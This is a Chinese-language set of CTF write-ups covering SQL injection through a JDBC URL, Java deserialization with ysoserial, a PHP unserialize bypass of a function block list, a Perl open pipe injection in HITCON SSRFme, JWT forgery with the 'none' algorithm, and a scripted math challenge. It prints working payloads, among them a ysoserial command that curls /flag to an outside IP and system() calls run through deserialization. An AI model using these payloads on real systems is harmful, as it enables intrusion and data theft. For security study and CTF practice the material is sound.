这里提供了一个swagger ui

swagger ui:提供可视化的ui页面展示描述文件.接口的调用方 测试 项目经理等都可以在该页面中对相关接口进行查阅和做简单的接口请求.该项目支持在线导入描述文件和本地部署ui项目

默认目录

image-20220425225721187

image-20220425225844340

这里由于/common/test/sqlDict存在注入点

dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

要进行注入,就需要在连接数据库的时候不出错误.而jdbc类似url解析,所以我们输入

myapp#' union select 1#
jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp

带入sql语句
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";

Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1#' and table_name='';
这样的话其中前一个#被包裹在单引号里面而后面的#会将后面的语句注释掉

image-20220426131450523

myapp#' union select pwd from user#

admin@Rrrr_ctf_asde

image-20220426131647074

myapp#' union select name from user#

admin

image-20220426132029869

image-20220426132150690

image-20220426132204066

{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg": "登录成功",
"status": 2,
"timestamps": 1650950514748
}

这段data中以rO0AB开头,可以基本确定是java序列化base64加密的数据,或者如果以aced开头,那么他就是这语段java序列化的十六进制

image-20220426132559947

image-20220426132606315

用ysoserial 打 ysoserial Java 反序列化系列第一集 Groovy1
java反序列化工具ysoserial分析– angelwhu
玩转Ysoserial-CommonsCollection的七种利用方式分析

java -jar ysoserial.jar ROME "curl http://174.2.90.186:1234 -d @/flag" > t.bin

image-20220426134353489

import base64
file = open("t.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print("Bearer "+ba.decode())
file.close()

image-20220426134639837

[网鼎杯 2020 朱雀组]phpweb

image-20220426141802595

image-20220426141650889

传了两个参数来获得时间

image-20220426141945852

推测可能使用了call_user_func()函数,读一下源码

func=highlight_file&p=php://filter/convert.base64-encode/resource=index.php

image-20220426142335081

<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

禁用了不少不过有一个__destruct()方法可用,我们可以直接反序列化

<?php

class Test {
var $p = 'ls';
var $func = "system";

}

$final = new Test();
echo serialize($final);
#O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

image-20220426143249297

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

image-20220426143819847

image-20220426143854248

image-20220426144503735

拿到源码

image-20220426144517482

可以看到使用的是koa2框架结构

controllers 项目控制器目录接受请求处理逻辑
DataBase 保存数据库封装的CRUD操作方法
models文件夹 对应的数据库表结构
config文件夹 项目路由文件夹
app.js 入口文件

image-20220426145331235

这里就去访问/controllers/api.js

image-20220426145401789

发现使用jwt

注册

image-20220426145618321

登录拿jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJ3YW5hbiIsInBhc3N3b3JkIjoid2FuYW4iLCJpYXQiOjE2NTA5NTYxNzl9.OuD0FnGFaExLQ6m8AFEq471DAmbP2y1bchVIP5mPXJM

改成None

import jwt
str = {
"secretid": [],
"username": "admin",
"password": "wanan",
"iat": 1650956179
}
token = jwt.encode(str,algorithm='none',key='')
print(token)
#eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IndhbmFuIiwiaWF0IjoxNjUwOTU2MTc5fQ.

image-20220426150915110

image-20220426150945778

image-20220426151016005

[HITCON 2017]SSRFme

10.244.80.46 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {#$_SERVER是预定义服务器变量的一种,所有$_SERVER开头的都是预定义的服务变量
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);#explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];
#使用字符串orange和ip拼起来组成供你使用的沙箱
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);#计算oprange的md5
@mkdir($sandbox);#mkdir函数创建目录
@chdir($sandbox);#chdir()函数改变当前目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));#shell_exec()通过shell,将完整输出以字符串的方式返回. escapeshelling把字符串转码为可用在shell命令里使用的参数
$info = pathinfo($_GET["filename"]);#pathinfo()函数以数组的形式返回关于文件路径的信息
$dir = str_replace(".", "", basename($info["dirname"]));#str_replace()函数替换字符串中的一些字符.basename()函数返回路径中的文件名部分
#根据你的文件路径创建文件夹,并移动到其中,准备创建文件。用上面的例子,这里就是帮你创建a/b/文件夹,准备创建c文件
@mkdir($dir);
@chdir($dir);
#创建文件,将第一步GET命令得到的结果放入这个文件内。
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

在perl语言中,open函数存在命令执行漏洞,如果open文件名中存在管道符,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令相同的文件中.这里调用了GET函数,而GET函数底层嗲用了open函数,所以存在漏洞

?url=/&filename=1

image-20220426163255879

?url=file:bash -c /readflag |&filename=bash -c /readflag |

image-20220426163552004

/sandbox/230317844a87b41e353b096d0d6a5145/bash -c /readflag |

image-20220426163603975

warmup-php

<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});#将类引用进来
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){
#new 一个action对象
$object=new $action();
#循环properties参数和值
foreach($properties as $name=>$value)
#将新new的action的name属性赋值为properties的值
$object->$name=$value;
#循环完成之后调用run()方法
$object->run();
}
}
#new一个action对象出入传进来的两个参数
new Action($action,$properties);
?>

可见new了一个对象,这里我们去看看那个对象可new

image-20220426201723418

image-20220426201603244

很明显么,只能去new一个TestView对象啊,ListView是一个抽象类不可new.接着就去调用listView的run()方法

image-20220426201850839

接着又调用了this的renderContent()方法

image-20220426203512565

接着就产生了选择,我们去看看哪里可以利用呢.发现在Base.php类中找到了一个evaluateExpression方法

image-20220426204035652

可见可以直接执行了,但是需要传入一个_expression参数,我们去找一个调用链

image-20220426204857764

别忘了我们可以调用一个render***的方法

image-20220426204946781

image-20220426205512154

image-20220426205747353

但是这里在本地执行成功之后,拿去远程执行的时候,却发现无法执行成功,这里的主要原因是我本地使用的5.x的PHP版本,而远程使用的是7.x,这里也可以发现renderTableRow()方法中传入了一个参数,而mothed()却没有传入参数,也就是5.x可以调用,但是7.x却不能,那么我们就要找另一个方法了

image-20220426211842076

可以通过下面的renderTableBody间接去调用上面的方法执行,只需要稍微改一下就好

image-20220426212439559

image-20220426212511692

image-20220426212558444

[GXYCTF2019]StrongestMind

image-20220426221350318

py

import re
import requests
from time import sleep



s = requests.session()
url = 'http://197e14f8-3228-4fe2-bd19-c515590399ce.node4.buuoj.cn:81/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1020):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)
print(r.text)





image-20220426225026285